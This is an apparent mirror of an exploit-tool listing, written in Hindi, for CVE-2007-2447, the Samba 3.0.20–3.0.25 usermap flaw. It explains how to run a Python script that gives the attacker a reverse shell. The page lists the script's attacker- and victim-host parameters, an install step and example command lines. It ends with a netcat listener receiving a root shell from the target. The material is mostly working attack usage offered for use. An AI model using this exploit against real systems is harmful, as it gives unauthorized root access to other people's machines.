Exploit for CVE-2007-2447-RCE

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MIKEREGA7-CVE-2007-2447-RCE
## यह एक्सप्लॉयट आपको रिवर्स शेल प्राप्त करने में मदद करता है, Samba 3.0.20 < 3.0.25 का शोषण करते हुए

· जब python3 के साथ --help पैरामीटर के साथ स्क्रिप्ट निष्पादित करते हैं, तो यह हमसे कई पैरामीटर मांगता है

root@kitploit:~
    
    
     --lhost LHOST  आपका होस्ट   (वह IP जहां शेल प्राप्त होगा)
     --lport LPORT  आपका पोर्ट   (वह पोर्ट जहां शेल प्राप्त होगा)
     --rhost RHOST  रिमोट होस्ट  (पीड़ित मशीन का IP)
     --rport RPORT  रिमोट पोर्ट  (पीड़ित मशीन का पोर्ट)
    

· स्क्रिप्ट चलाने से पहले यह करें

root@kitploit:~
    
    
    pip3 install pysmb
    

· उदाहरण

root@kitploit:~
    
    
    python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139
    

· या आप ऐसा कर सकते हैं

root@kitploit:~
    
    
    python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139
    

· स्क्रिप्ट कैसे काम करती है इसका उदाहरण

root@kitploit:~
    
    
    python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139 
    

· हमें शेल प्राप्त होता है

root@kitploit:~
    
    
    ❯ nc -nlvp 443
      listening on [any] 443 ...
      connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
      whoami
      root